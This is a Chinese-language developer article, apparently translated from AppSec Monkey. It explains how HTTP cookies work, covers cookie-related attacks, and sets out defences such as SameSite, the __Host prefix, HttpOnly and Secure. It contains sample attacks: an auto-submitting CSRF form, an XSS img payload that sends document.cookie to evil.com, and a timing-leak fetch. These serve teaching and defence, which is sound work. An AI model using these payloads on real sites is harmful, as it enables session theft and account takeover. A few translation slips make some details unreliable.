在本文中,您将了解有关 HTTP cookie 安全性、什么是与 cookie 相关的攻击以及如何防御它们的所有信息。
我将假设读者是开发人员,并使用诸如“变量”和“属性”之类的术语来使事情更容易理解。如果读者碰巧不是开发人员,我很抱歉。
让我们开始!
什么是 Cookie?
HTTP cookie 是网站可以在浏览器中设置的变量。Cookies 实际上是一种键值对存储,但Cookie
您很快就会了解本课程中的一些附加属性。
通常,Web 服务器通过HTTP 响应标头Set-Cookie
设置 cookie ,就像这样。
Set-Cookie: SessionId=s3cr3t;
但是,网站也可以通过 JavaScript 设置 cookie:
document.cookie = 'SessionId=s3cr3t'
这是浏览器 cookie jar 中 cookie 的样子:
Name: 'SessionId'
Value: s3cr3t"
Domain: 'www.example.com'
ExpiresOrMaxAge: 'Session'
HostOnly: true
HttpOnly: false
Path: '/'
SameSite: 'None'
Secure: false
Cookie
然后浏览器将这些 cookie 在请求标头中发送回网络服务器,如下所示:
Cookie: Foo=Bar; SessionId=s3cret;
请注意,浏览器只会将 cookie 的名称和值发送回网络服务器。
Cookie 有什么用途?
Cookie 有多种用途,主要用于跟踪、个性化和会话管理。在本文中,我们主要关注会话管理。
例如,Web 应用程序在身份验证时向用户发出会话标识符 cookie 是很常见的。
Set-Cookie: SessionId=s3cr3t
Cookies 发送到哪里?
Cookie 有四个影响其范围的属性,即 cookie 被发送到的 URL 地址。这些是:
domain
: 浏览器应该向哪个域(可能包括子域)发送 cookie?hostOnly
: 浏览器是否应该只将 cookie 发送到设置它的确切域,不包括子域?path
: 浏览器应该将 cookie 发送到哪些 URL 路径(即 /foo/bar)?secure
: 浏览器应该只通过加密通道(HTTPS、WSS)还是不加密(HTTP、WS)发送 cookie?
谁可以为网站设置 Cookie?
任何网站都可以设置 cookie:
- 它的域。
- 其父域(TLD 或公共后缀除外)。
- 通过扩展,但不是直接,父域的所有子域。
例如,foo.example.com
可以为 设置一个 cookie .example.com
,在这种情况下,浏览器也会将 cookie 发送到example.com
和bar.example.com
。
Domain
通过该属性可以方便地指定域。
HTTP 网站能否在 HTTPS 网站上设置 Cookie?
是的。方案(例如 http:// 或 https://)无关紧要。此外,端口无关紧要。例如,网站https://www.example.com:12345
和http://www.example.com
共享 cookie。
域属性
此属性确定 cookie 应发送到哪些网站,并且默认为设置 cookie 的网站的主机名。
如果www.example.com
是设置 cookie 的人,那么domain
将是www.example.com
.
可以将此值更改为,例如.www.example.com
,之后浏览器会将 cookie 发送到www.example.com
及其所有子域(foo.www.example.com
、、bar.www.example.com
等)。
# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com
☝ 注意
即使您指定
domain=www.example.com
,浏览器也会默默地将其更改为domain=.www.example.com
.
网站也可以将 cookie 限定为其父域,但有以下限制:
- 不允许为 TLD(顶级域)设置 cookie 的范围。
- 不允许为公共后缀限定 cookie。在此处阅读有关列表的更多信息:公共后缀列表
如果www.example.com
将 cookie 限定为.example.com
,则浏览器会将 cookie 发送到example.com
及其所有子域。
# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com
设置属性会自动将布尔值domain
翻转为. 下面我们来看看这个属性。hostOnlyfalse
HostOnly 属性
该HostOnly
属性确定浏览器是否应该只将 cookie 发送到创建它的确切域。如果为 false,浏览器也会将 cookie 发送到子域。
标题HostOnly
中没有手动配置。除非您设置属性,否则Set-Cookie
它始终是,在这种情况下它始终是.true
domainfalse
# Here HostOnly is true
Set-Cookie: SessionId=s3cret;
# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com
路径属性
开发人员可以使用该path
属性来限制发送 cookie 的路径。
通过将 设置path
为/foo/bar
,浏览器将仅将 cookie 包含在请求中,例如https://www.example.com/foo/bar
或https://www.example.com/foo/bar/hello
。
浏览器不会将其发送到https://www.eample.com/foo/barbars
.
# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar
Cookie 攻击
存在大量与 cookie 相关的安全风险。以下是一些最突出的:
CSRF(跨站请求伪造)
当使用 cookie 进行会话管理的 Web 应用程序无法验证 HTTP POST 请求的来源时,通常会出现这些漏洞。
例如,假设用户可以登录 AppSec Monkey 并更新他们的电子邮件地址。
后端代码可能看起来像这样(至少如果你使用 Django):
def update_email(request):
new_email = request.POST['new_email']
set_new_email(request.user, new_email)
现在假设有一个evil.example.com
带有以下 HTML 表单和自动提交脚本的邪恶网站:
<form method="POST" action="https://www.appsecmonkey.com/user/update-email/">
<input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
document.badform.submit()
</script>
当当前登录的用户www.appsecmonkey.com
进入恶意网站时,将代表用户自动提交 HTML 表单,并立即将以下 HTTP POST 请求发送到www.appsecmonkey.com
:
POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...
new_email=evil@example.com
并且电子邮件地址被更改。
请注意SessionId
cookie 是如何包含在请求中的,从而使攻击成为可能。
在此处阅读有关 CSRF 攻击的更多信息:CSRF 攻击与预防
XSS(跨站脚本)
当不受信任的数据在 Web 上下文中被解释为代码时,就会出现 XSS 漏洞。它们可能是由许多编程错误引起的,但这里有一个简单的例子。
比如说,我们有一个这样的 PHP 脚本。
echo "<p>Search results for: " . $_GET('search') . "</p>"
它很容易受到攻击,因为它会不安全地生成 HTML。search
参数编码不正确。攻击者可以创建如下链接,当目标打开它时,该链接将在网站上执行攻击者的 JavaScript 代码:
https://www.example.com/?search=
<script>
alert('XSS')
</script>
HTML 中的结果如下:
<p>
Search results for:
<script>
alert('XSS')
</script>
</p>
现在攻击者可以做的,就是把它alert("XSS")
变成更邪恶的东西。例如,下面的 IMG 标签会获取登录用户的 cookie 并将它们发送到 evil.com:
https://www.example.com/?search=<img
src="x"
onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie"
/>
注意 cookie 是如何被JavaScript 代码访问的,这使得窃取它成为可能。还要注意 cookie 是如何在 GET 请求中发送到 的,https://www.example.com/search
这使得在经过身份验证的用户的上下文中利用 XSS 漏洞成为可能。
在此处阅读有关 XSS 攻击的更多信息:XSS 攻击和预防
XS 泄漏(跨站点泄漏)
XS-Leaks(或 Cross-Site Leaks)是一组浏览器侧通道攻击。它们使恶意网站能够从其他 Web 应用程序的用户那里推断数据。
例如,evil.com 可以代表您向www.example.com发送请求,并根据响应时间推断返回给您的内容类型。
var start = performance.now()
fetch('https://www.example.com', {
mode: 'no-cors',
credentials: 'include',
}).then(() => {
var time = performance.now() - start
console.log('The request took %d ms.', time)
})
有很多很多类似的技术和使用它们的新颖攻击。出于本文的目的,请注意计时攻击是可能的,因为浏览器在跨站点请求中包含会话 cookie。
在此处阅读有关 XS-Leaks 的更多信息:XS-Leaks 攻击和预防
网络攻击
与浏览器用户在同一网络上的攻击者可以轻松拦截浏览器和 Web 服务器之间的网络连接。这就是网络协议的工作方式。
因此,开发人员和架构师不应将网络介质视为一种安全控制(加密是一种安全控制),但这是另一天的咆哮。
然后,网络上的攻击者可以强制目标用户的浏览器进行未加密的连接http://www.example.com
,然后从请求中窃取会话 cookie。
请注意会话 cookie 是如何通过未加密的连接传输的,该会话 cookie 仅应在 HTTPS 页面上使用。
网络攻击也可用于设置或覆盖 cookie。例如,攻击者可以再次强制与网络服务器建立未加密的连接,然后伪造带有Set-Cookie
标头的回复。
Set-Cookie: SessionId=123
强制 cookie 进入用户浏览器的安全隐患各不相同。
典型的攻击是会话固定。攻击者将会话标识符强制输入目标用户的浏览器,然后等待用户登录。易受攻击的 Web 应用程序无法在登录时创建新的会话标识符。相反,它会验证攻击者已知的 cookie。
出于我们的目的,请观察如何通过未加密的连接设置 cookie。
恶意子域
假设你有safe.example.com
和hacked.example.com
。
被黑域攻击用户 cookie 的第一种方式是,您出于某种原因指定了domain
属性并将 cookie 范围限定为.example.com
.
现在hacked.example.com
只需将您的登录用户重定向到他们的网站,cookie 将是他们的。
第二种方法是hacked.example.com
设置或覆盖 cookie 并将其范围限定为 domain .example.com
。现在设置的 cookiehacked.example.com
将被发送到safe.example.com
. 每个应用程序的安全含义也不同,但会话固定是一个常见的威胁。
物理攻击
在前一个用户离开后,后续计算机用户可以检查浏览器的内存、缓存、cookie、存储等。假设磁盘上有有效的会话标识符。在这种情况下,攻击者可以恢复会话并以以前的计算机用户身份登录。
攻击先决条件
我们为各种与 cookie 相关的攻击确定了以下关键要求。
- 浏览器允许在跨站点请求中传输 cookie。
- 浏览器允许 JavaScript 代码访问 cookie。
- 浏览器在未加密的请求中发送 cookie。
- 浏览器允许在未加密的连接中设置 cookie。
- 浏览器允许子域设置 cookie。
- 浏览器允许 cookie 在浏览器会话中持续存在。
- Web 服务器不会在身份验证时创建新的会话标识符。
- Web 服务器不会在注销时使会话标识符无效。
- 网络服务器在注销时没有充分清除 cookie。
现在让我们开始研究如何一个一个地剥夺攻击者的每一个。
SameSite 属性
我们要讨论的第一个 cookie 安全特性是SameSite
属性。
还记得许多攻击(CSRF、XSS、一些 XS-Leaks)的先决条件是浏览器在跨站点请求中包含会话 cookie 吗?嗯,这正是SameSite
阻止。
中有三种模式SameSite
,具体取决于您希望保护的严格程度Lax
:Strict
和None.
通常,Lax
适用于所有应用程序,同时Strict
更适合安全关键系统。
SameSite 松懈
lax 模式缓解了许多 XS 泄漏、大多数 CSRF 以及一些 XSS 攻击。它通过防止 cookie 包含在跨站点请求中来做到这一点,除了当用户单击链接、被重定向、打开书签等时的顶级导航。
Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...
SameSite 严格
严格模式可以防止更多的 XS-Leaks 和 CSRF 攻击,并且非常擅长阻止反射型 XSS 攻击。即使在顶级浏览中,它也不允许浏览器包含 cookie。严格模式通常会伤害用户体验,并不适合所有应用程序。
Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...
SameSite 无
None
只是用于选择退出,因为SameSite=Lax
它开始成为较新浏览器的默认设置。
Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...
在此处阅读有关 SameSite 属性的更多信息:SameSite Cookie 以及它们为何如此出色
_ _主机前缀
我们列表中的下一个 cookie 安全功能是__Host
前缀。这不是很广为人知,但说到饼干,名字很重要!为您的 cookie 命名__Host-Something
,网络浏览器将对网络服务器如何设置 cookie 应用两个重要限制。
- 浏览器不允许通过未加密的连接或没有该
Secure
属性来设置 cookie。 - 浏览器不允许设置
domain
属性,强制 cookie 成为hostOnly
cookie(因此是前缀名称)。
Set-Cookie: __Host-SessionId=s3cr3t ...options...
_ _主机前缀可防御网络攻击和恶意子域。
HttpOnly 属性
cookie 安全功能之一是专门用于防止 XSS 的,这就是HttpOnly
属性。
此属性将阻止 JavaScript 代码访问 cookie,从而防止攻击者在 XSS(跨站点脚本)攻击成功时窃取它。
Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly
安全 cookie
最后,该Secure
属性将防止 cookie 通过(意外或强制)未加密的网络服务器连接泄露。浏览器不会Secure
在 http:// 或 ws:// 请求中包含使用属性设置的 cookie,只有 https:// 和 ws://。
Set-Cookie: SessionId=s3cr3t; ...other options... Secure
处理用户登录
为了防止上面提到的会话固定攻击,您必须始终在成功验证后为用户创建一个新的会话标识符。永远不要“使旧会话 id 进行身份验证”。
到期
通过为 cookie 设置过期时间,即使用户关闭浏览器,浏览器也不会在该时间到来之前将其删除。
Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT
因此,最好不要设置此属性。省略Expires
将使 cookie 成为浏览器术语中的会话 cookie,这意味着浏览器更有可能在浏览器关闭时将其删除。
我说“更有可能”是因为浏览器可以决定将 cookie 保留在磁盘上以实现“恢复会话”功能。
不过,至少最好尝试一下。
清除 cookie
网络服务器通过设置一个具有虚拟值的新 cookie 来删除 cookie,例如“deleted”,过期时间设置为过去。
Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
你仍然可以这样做。但您也可以返回Clear-Site-Data
标头以指示浏览器删除您网站的任何 cookie。
Clear-Site-Data: 'cookies'
事实上,Clear-Site-Data
可以做的更多:
Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"
在此处阅读更多信息Clear-Site-Data
:https ://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data
处理用户注销
当用户注销时,除了从浏览器中清除 cookie 外,您还必须使服务器端的会话标识符无效。
这样,即使 cookie 在用户注销后被泄露,该 cookie 对攻击者也不再具有任何价值。
完美的饼干
这是一个合理的安全 cookie:
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/
这是我们目前可以获得的最安全的方法,但SameSite=Strict
可能会损害用户体验。
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/
结论
有很多与 cookie 相关的攻击,但幸运的是现代浏览器为我们提供了很好地缓解它们的机制。
- 将您的 cookie 命名为 _主机,以防止网络攻击和恶意子域。
- 省略
Domain
属性以防止恶意子域。 - 将
SameSite
属性设置为Lax
或Strict
以防止 XSS、CSRF 和 XS-Leaks 攻击。 - 设置
HttpOnly
属性以防止 cookie 在 XSS 攻击时被盗。 - 设置
Secure
属性以保护 cookie 在受到网络攻击时不被泄露。 - 在身份验证时为您的用户创建一个新的会话 cookie。
- 设置cookie时省略该
Expires
属性以指示浏览器在浏览器关闭后将其删除。他们不会总是服从,但最好至少尝试一下。 - 当用户注销时,使服务器端的会话 cookie 无效,以便 cookie 不再对攻击者有用。
- 通过设置一个虚拟值和过去的过期时间来清除 cookie。
- 还可以通过在注销时发送 Clear-Site-Data 标头来清除 cookie,最好是缓存、存储和 executionContext。